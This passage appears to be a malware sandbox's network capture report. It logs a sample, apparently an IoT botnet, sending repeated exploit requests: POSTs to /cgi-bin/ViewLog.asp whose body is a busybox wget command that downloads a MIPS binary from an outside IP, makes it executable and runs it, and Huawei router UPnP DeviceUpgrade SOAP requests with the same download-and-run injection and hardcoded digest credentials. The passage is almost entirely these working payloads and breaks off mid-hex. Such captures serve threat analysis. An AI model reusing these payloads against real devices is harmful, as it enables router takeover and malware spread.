                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:11.068780899 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:15.676703930 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:24.892349958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:44.351788998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:21.210902929 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                59192.168.2.153606685.52.52.938080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.900722980 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.106394053 CET487INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:07:56 GMT
                                                Server: Apache
                                                X-Frame-Options: SAMEORIGIN
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                60192.168.2.155214494.120.219.2238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.919481993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                61192.168.2.155570894.65.86.188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.921547890 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.150062084 CET435INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 07:22:11 GMT
                                                Server: web
                                                Cache-Control: no-cache
                                                Content-Length: 166
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=60, max=99
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                62192.168.2.155429495.86.70.2508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:07.014601946 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                63192.168.2.1536272111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:07.153208971 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:04Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                64192.168.2.1536308111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:07.820146084 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:05Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                65192.168.2.1536322111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:08.491180897 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:06Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                66192.168.2.1536338111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:09.178040981 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:06Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                67192.168.2.1536352111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:09.849153042 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:07Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                68192.168.2.1541222156.226.11.20137215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:10.102955103 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:14.140733957 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:20.284456968 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:32.316176891 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 